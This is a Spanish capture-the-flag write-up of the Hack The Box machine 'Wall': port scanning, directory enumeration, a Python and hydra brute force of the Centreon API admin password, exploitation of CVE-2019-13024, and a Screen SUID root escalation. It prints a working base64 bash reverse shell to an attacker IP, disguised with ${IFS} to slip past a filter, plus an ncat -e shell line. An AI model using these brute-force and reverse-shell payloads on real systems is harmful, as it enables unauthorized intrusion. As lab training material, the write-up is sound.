Wall presenta Centreon, en esta version realizamos un ataque de fuerza bruta a la API para encontrar las credenciales del administrador. Además enocntramos una vulnerabilidad RCE por la cual obtuvimos acceso a la maquina. Enumeramos los ficheros SUID y escalamos privilegios por Screen.
Nombre |
Wall |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.157 |
Maker |
askar |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.5, 4.6, 7.3, 2.7, 5.4],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
MASSCAN & NMAP
Escaneo de puerto tcp/udp, en el cual nos muestra el puerto http (80) y el puerto de ssh (22) abierto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
root@kali:~/htb/wall# masscan -p1-65535,U:1-65535 10.10.10.157 --rate=1000 -e tun0
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-09-25 07:02:40 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.157
Discovered open port 80/tcp on 10.10.10.157
# Nmap 7.80 scan initiated Wed Sep 25 03:46:47 2019 as: nmap -p- --min-rate 1000 -o nmap.scan 10.10.10.157
Warning: 10.10.10.157 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.157
Host is up (0.19s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
32187/tcp filtered unknown
33879/tcp filtered unknown
48249/tcp filtered unknown
# Nmap done at Wed Sep 25 03:48:33 2019 -- 1 IP address (1 host up) scanned in 106.19 seconds
# Nmap 7.80 scan initiated Wed Sep 25 03:51:32 2019 as: nmap -sV -sC -p22,80 -o nmap_scan 10.10.10.157
Nmap scan report for 10.10.10.157
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 25 03:51:50 2019 -- 1 IP address (1 host up) scanned in 18.00 seconds
|
HTTP - Puerto 80
La pagina web esta corriendo en un Apache/2.4.29.
GOBUSTER
Gobuster nos muestra las siguientes rutas de la pagina web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
root@kali:~/htb/wall# gobuster dir -u http://10.10.10.157/ -w /usr/share/wordlists/dirb/common.txt -n -x php,txt,html -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.157/
[+] Threads: 15
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] No status: true
[+] Timeout: 10s
===============================================================
2019/09/25 03:53:54 Starting gobuster
===============================================================
/aa.php
/index.html
/index.html
/monitoring
/panel.php
/server-status
===============================================================
2019/09/25 03:56:21 Finished
===============================================================
|
/aa.php
/monitoring
/panel.php
Realizamos nuevamente una busqueda con un diccionario diferente y encontramos las siguientes rutas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
root@kali:~/htb/wall# gobuster dir -u http://10.10.10.157/ -w /usr/share/wordlists/subdscan.txt -n -x php,txt,html -t 15 -z
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.157/
[+] Threads: 15
[+] Wordlist: /usr/share/wordlists/subdscan.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] No status: true
[+] Timeout: 10s
===============================================================
2019/09/27 01:12:38 Starting gobuster
===============================================================
/aa.php
/centreon
/index.html
/monitoring
/panel.php
===============================================================
2019/09/27 01:17:42 Finished
===============================================================
|
Centreon - RCE
/centreon
Encontramos la plataforma de centreon de codigo abierto para el monitoreo de software o administracion de infraestructura en su version 19.04.0, al investigar un poco acerca de esta plataforma y su version vemos que existe una vulnerabilidad (CVE-2019-13024) en la plataforma que permite ejecutar codigo remoto (RCE). Para explotar esta vulnerabilidad necesitamos las credenciales de centreon.
API - Centreon
Utilizamos python para hacer un ataque de fuerza bruta contra la plataforma utilizando el diccionario rockyou.txt con la siguiente configuracion y utilizando la API de centreon.
Documentation Centreon - API
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#!/usr/bin/python
import requests
import json
filepath = '/usr/share/wordlists/rockyou.txt'
url = 'http://10.10.10.157/centreon/api/index.php?action=authenticate'
with open(filepath) as fp:
line = fp.readline()
while line:
password_r = '{"username":"admin", "password":"_pass_"}'.replace('_pass_', line.strip())
data = json.loads(password_r)
response = requests.post(url, data=data)
result = response.json()
if result == "Bad credentials":
print("Password Incorrecta")
elif result == "Bad parameters":
print("Error en request")
else:
print("User:Pass " + str(data["username"]+":"+str(data["password"])))
break
line = fp.readline()
|
Encontramos la contraseña para el usuario admin:password1
:
Hydra
Una manera mas facil y sencilla de hacerlo es con hydra:
1
|
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 10.10.10.157 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials"
|
RCE - Explotacion | Shell
Para explotar la vulnerabilidad de esta plataforma utilizamos el exploit Centreon RCE, al utilizar el exploit y pasarle las credenciales y la url no ejecuta comandos dentro de la maquina, para poder ejecutar comandos utilizamos base64 y shell evasion ya que no permite ejecutar comandos en texto plano.
Internal Variables
Primero codificamos nuestra shell inversa en base64 omitiendo los saltos de linea, luego creamos nuestro comando para ejecucion en la plataforma en donde cada espacio es ${IFS}
, y se agrega de ultimo punto y coma (;
) ya que la vulnerabilidad permite ejecutar comandos con ciertos parametros (-v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG 2>&1
) y agregamos esto ultimo para que no ejecute los parametros por default.
1
2
3
|
echo -n "bash -i >& /dev/tcp/10.10.14.145/7878 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDUvNzg3OCAwPiYx
echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDUvNzg3OCAwPiYx${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash${IFS};
|
Agregamos el siguiente codigo por encima de payload_info:
1
|
payload_shell = str(repr("echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDUvNzg3OCAwPiYx${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash${IFS};")).strip("'")
|
Y dentro de payload_info
cambiamos:
1
2
3
|
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
por:
"nagios_bin": "{}".format(payload_shell),
|
Ejecutamos nuestro exploit los parametros de IP y Puerto no importan ya que hemos codificado nuestra shell inversa:
Obtenemos una shell como usuario www-data:
Privilege Escalation
Como en cualquier maquina realizamos una enumeracion de archivos y binarios que puedan ayudarnos a escalar privilegios a otro usuario en este caso fue distinto ya que la maquina contenia un binario vulnerable que permitia escalar privilegios de administracion.
SUID - Screen 4.5.0
Trasladamos y ejecutamos el exploit en la maquina y obtenemos una shell con el usuario root y las flags user.txt y root.txt.